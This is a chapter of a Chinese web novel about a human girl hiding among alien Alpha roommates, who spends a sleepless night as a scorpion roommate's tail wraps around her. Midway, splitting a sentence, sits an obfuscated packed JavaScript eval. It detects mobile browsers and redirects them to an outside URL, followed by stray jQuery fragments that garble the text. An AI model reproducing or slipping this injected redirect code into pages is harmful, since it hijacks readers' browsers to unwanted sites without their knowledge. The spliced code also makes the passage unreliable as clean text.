15. 第 15 章

作品:《全星际唯一人类

    身体本能地留恋身上的气息,可另一股本能又让他下意识顺从她的意志,洛赛恋恋不舍放开手。半透明的触角却竖的笔直,感受着空气中的气流,确保如果她在爬行过程中有危险,自己能够及时出手。


    苏勤就像是被仿生的鱼,两条腿退得飞快。


    她几乎是用毕生的力气,像是猴子一样从床位之间的低矮栏杆飞窜进自己的床位。


    回到自己床位,苏勤像咸鱼一样瘫在床上,累得喘气。


    累死了,差点以为回不来了。


    现在是三点半小时,估摸大家六点之前不会起来。


    那定个五点半的闹钟吧。


    她已经计划好了。这段时间,她准备每天早出晚归,先在外面避避风头。


    唉……


    毕竟她现在真的很担心,那只一看脾气就特暴躁的紫发舍友会一只手把她捏爆。在全息舱领悟过进化人之间的战斗,苏勤的心理阴影更大了。


    在光脑上将响铃调整震动,苏勤将被子往身上一裹,身体放松那一刻,刹那间就像戳瘪的气球一样瘪了下去,瞬间对生活失去了所有力气。


    好危险!这个世界!


    拼尽全力无法战胜。


    在苏勤彻底躺下那一刻,整个宿舍中的暗潮涌动都停止了。


    蓬松的黑白发被压得乱七八糟,蓝昂又重新仰面平躺,望着天花板。


    看完八卦,蓝昂又感受到了巨大的空虚。


    深蓝的瞳孔下,眼皮有些微青,他今天有点失眠。一闭眼满脑子都是白天那股陌生的、魂牵梦萦的香味。


    不论是狮宴还是荷鲁斯都说没有闻到。


    等狮宴将那散发着刺鼻劣质香精味的沐浴露清理干净,他特意关停了宿舍的排气设施,在整个宿舍找了一遍,都没有找到香味的来源。


    而且因为排气设施关闭,几个Alpha不小心的逸散信息素浓度又在寝室中缓慢升高,导致大家都心浮气躁,升起将舍友驱离出领地的冲动。


    他们不得不重新打开排气装置,并且将功率调到最高。


    蓝昂一度以为是自己的幻觉,但刚才,他觉得自己,隐隐预约好像又闻到了那股魂牵梦萦的气味。


    蓝昂在床上辗转反侧,忽然发现,辗转反侧的不仅是自己。


    他床铺对面的尤斯汀同样在辗转难眠。


    也不奇怪,紫蝎族虽然外表出了名的美艳,但性格也是帝国闻名自恋、狠辣、睚眦必报。


    尤斯汀那残暴任性的性格,竟然没有第一时间报复用了他淋浴间、害他淋了一身高温滚烫的热水、甚至让他在论坛里出大丑的Beta,那才叫奇怪。


    应该说,尤斯汀能忍耐到现在,已经完全出乎蓝昂的预料了。


    蓝昂估计,可能是因为这只紫蝎最近基因不稳定系数太高,被秩序部重点监控了,不想惹麻烦被秩序部缠上,这才放过女Beta。


    毕竟女Beta的体格一看就接不了他一拳,学校虽然不反对Alpha之间的战斗,但要是弄出人命,就算是以他们的背景也会很麻烦。


    而且欺负一个Beta,传出去也不好听。


    结果却是,尤斯汀想出门冷静,却在外面控制不住攻击性,爆发了。


    论坛帖子爆发后,尤斯汀就被秩序部叫过去做了全套基因稳定性检测,回来时脸都是黑的,必定是吃到秩序部的处分了。


    现在再看到罪魁祸首,但又因为处分,不能动手。以尤斯汀睚眦必报的性格,肯定也睡不着。


    尤斯汀确实辗转难眠。


    但是和蓝昂猜想得不一样。


    他深幽的瞳孔盯着前面床位,心脏又压抑又紧张。明明宿舍氧浓度正常,他却有种喘不过气的胸闷感。


    他无法控制地精神反刍白天自己冲动的举动,然后情绪不可抑制地陷入一股巨大的懊悔、沮丧中,连鳞尾也萎靡不振起来。


    他能感觉到Beta新舍友对他的忌惮、警惕。


    在知道,苏勤出去是为了躲着他的时候,尤斯汀瞬间感觉——天塌了!


    S+基因等阶带来的高战力和高畸变度,身上带畸变的虫族既被敬畏恐惧又被歧视。尤斯汀性格自我,一向不在意其他人的想法,视他们于无物。


    但是,一想到自己会被Beta排斥忌惮,他心脏就不可抑制地升起一股窒闷感,又酸又涩。


    这些无法控制的情绪操纵他的思维,甚至让他不能思考,为什么自己会对一个刚见面的陌生Beta升起这么多复杂的感受。


    哪怕他知道自己现在的情绪不理智且不符合逻辑,可大脑依然被‘和她解释’的充斥,就像是被病毒攻占的CPU,所有内存都被重复信息挤满,分不出任何计算单元去思考自己的异样。


    好像……不解释,身体就会死掉一样。


    尤斯汀想告诉她……他其实不危险。


    从日暮等到深夜。


    但是,听到到Beta回来时不敢惊动他的小心翼。


    尤斯汀第一次产生了‘害怕’的情绪。


    像个懦弱的胆小鬼一样,将自己包裹在被子,不敢出声、甚至不敢呼吸。


    担心被她发现,其实他还醒着。


    直到她爬回自己的床睡着,他才敢出头呼吸。


    深紫的长发散披在床上,尤斯汀两眼无神。


    害怕与解释的冲动在他灵魂里纠结拉扯,让他辗转反侧,心脏更是像下一秒就要爆开一样,委屈、渴望靠近、难以忍耐等情绪不断发酵膨胀。


    靠近Beta的冲动驱使他的躯体。


    尤斯汀深深吸了一口,缓缓坐起来,在狭窄的床上转身,打算倒向Beta的方向睡觉。


    床板传来微妙的嘎吱声,高大的Alpha起身时细微的动静在寂静的夜晚格外清晰。


    苏勤:“……”


    她捏紧床单,内心滑过一阵卧槽卧槽。


    这么晚了他在干嘛?!


    她不由自主地去猜测舍友的行为……是单纯的晚上起夜,还是气到半路醒了,想看看她的床上有没有。


    最后,什么都没有发生,一切又恢复了平静。


    苏勤松了一口气。


    时间不多了,得赶紧睡觉。


    苏勤困得要命,身体又累又困。


    但危机感和神经紧绷却让她根本不能进入深眠。


    每次她迷迷糊糊快入睡了,就听到隔壁床位上左右翻身的声音,脑子立马就清醒了。


    好几次下来后,苏勤神经衰弱了。


    能不能别辗转了!你辗转反侧什么!睡不着该辗转反侧的是我!


    她挂着两个大黑眼圈,无神地看着黑漆漆的天花板,身体像是一具尸体,梆硬地躺在床上。


    许久,隔壁床位翻身的声音消失了。


    这一次,宿舍的安静似乎持续了很长。


    苏勤欣慰了。


    然而,她却发现自己睡不着了。


    睡不着,根本睡不着!


    疲惫的身体在接二连三的精神折腾后,似乎已经拒绝入睡了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100606|195309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。而且人越急着睡觉时,反而越难以入睡,因为失眠带来焦虑,越焦虑越失眠。


    一想到自己屈指可数的睡眠时间就这样被浪费了,她就感到焦虑又痛苦。


    苏勤不得不闭着眼数绵羊,在心中高歌。


    打工人!这点痛!算什么!


    通宵加班不是常有的事吗!一天不睡不过是加了一个通宵而已!


    在她对自己坚持不懈的洗脑下,心头盘踞的焦虑缓缓散去,淡淡的困倦重新席卷眼皮。


    苏勤迷迷糊糊快要睡了,突然感觉,脚板心好像踩上了什么温温凉凉的金属。


    是铁栏杆吗?


    苏勤混沌困倦的脑子像是十年前单核CPU一样卡顿迟缓地思考。


    她根本没有动啊……是什么品种的铁杆会自动凑到人类脚下?


    直到,脚下的东西,又轻轻动了一下。


    苏勤一个激灵。


    谁的尾巴乱甩到了她脚下?!


    那条触感冰凉的鳞尾像是条灵动的蛇,花苞状的尾端轻轻地蹭了蹭她脚板心,然后开始围绕她的脚摸索蜿蜒,一圈圈从她的脚掌缠到脚踝。


    苏勤全身冰凉,一动不敢动,丝丝抵着舌尖压抑住尖叫。


    混沌的脑子瞬间清醒了。


    脚底的形状,不就是她白天看到的那条狰狞的蝎族鳞尾吗?!


    如果是想要报复她调高了淋浴温度,直接动手就是了。


    他为什么要半夜把尾巴伸过来啊?!


    苏勤内心唱出女高音,身体却在梆硬地装死。


    然后感觉到那条带着号称能杀死S级Alpha的剧毒的蝎尾,像是只到处探索新家的狗狗,在自己脚边这蹭蹭、那蹭蹭。


    一路从她脚踝蹭到了手臂。


    花苞状的毒囊尾节最后整个缩在她手掌心里。


    像是找到窝后蜷缩睡下的小狗,一动不动。


    对面的室友并没有醒来的趋势,反而传来了绵长的呼吸声。


    苏勤:“……”


    关于死对头舍友的尾巴走错家门,半夜突然钻进我的被窝,并赖在我身上不走这件事,该怎么处理?在线等,真的十万火急。


    苏勤彻底睡不着了。


    感受着手心中冰冰凉凉的、像是气球一样饱满的‘花苞’,她心中一瞬间升起一股,用力将它捏爆的冲动。


    但她现在是个十分窝囊的小女孩。


    切身领悟过进化人力量有多变态后,她深知,动手的下场,不仅是她根本不可能给人家毒囊尾节造成伤害。


    而且极有可能,前一秒她收拢手掌,后一秒,她可能就会像爆爆珠一样,被进化人舍友一只手捏爆。


    唉……窝窝囊囊凄凄惨惨。


    他们都看不起我,偏偏我也不争气。


    苏勤只能祈祷掌心的尾巴能自觉地回到主人身边,最好赶在她闹钟响之前。


    苏勤睁眼到天光微熹,舍友的鳞尾终于松开她了,半个花苞几乎从她掌心翻出去,在她手侧‘睡’得四仰八叉。


    她脸色苍白又疲惫,不知道是不是昨晚半夜在外吹风的原因,肚子凉飕飕的,隐隐作痛。


    她看看时间,快到五点半了。


    今天要奖励自己吃两个大肉包子,毕竟自己风里雨里一路走来真不容易。


    结果,她刚刚准备动一动放松下僵硬的身体,腹下涌起一阵热流。


    熟悉的热流,让苏勤痛苦地缓缓闭上眼睛,不愿面对现实。


    啊……怎么会是大姨妈!